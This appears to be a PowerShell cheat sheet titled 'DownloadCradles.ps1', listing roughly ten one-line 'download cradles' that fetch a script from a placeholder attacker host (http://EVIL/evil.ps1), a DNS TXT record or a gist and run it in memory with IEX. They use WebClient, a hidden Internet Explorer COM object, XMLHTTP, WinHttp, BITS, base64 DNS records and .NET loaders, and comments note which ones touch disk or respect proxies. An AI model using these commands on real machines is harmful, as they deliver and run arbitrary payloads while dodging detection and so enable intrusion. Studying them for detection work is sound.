Download Cradles

DownloadCradles.ps1

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

# WinHttp COM object (not proxy aware!)
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

# using bitstransfer- touches disk!
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

# DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
#   code to execute needs to be a base64 encoded string stored in a TXT record
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))

# from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d
<#
<?xml version="1.0"?>
<command>
   <a>
      <execute>Get-Process</execute>
   </a>
  </command>
#>
$a = New-Object System.Xml.XmlDocument
$a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt")
$a.command.a.execute | iex


##### Additions #####


# https://docs.microsoft.com/en-us/dotnet/api/system.runtime.remoting.metadataservices.metadata.retrieveschemafromurltostream?view=netframework-4.8

Add-Type -AssemblyName System.Runtime.Remoting
$s = [IO.MemoryStream]::new();
[System.Runtime.Remoting.MetadataServices.MetaData]::RetrieveSchemaFromUrlToStream('http://EVIL/evil.ps1',$s);
IEX([System.Text.Encoding]::ASCII.GetString($s.ToArray()))

# https://docs.microsoft.com/en-us/dotnet/api/system.windows.forms.picturebox.load?view=netframework-4.8

$p = New-Object System.Windows.Forms.PictureBox
$p.Load('http://EVIL/evil.png')
# use Invoke-PSImage for encoding/decoding data https://github.com/peewpw/Invoke-PSImage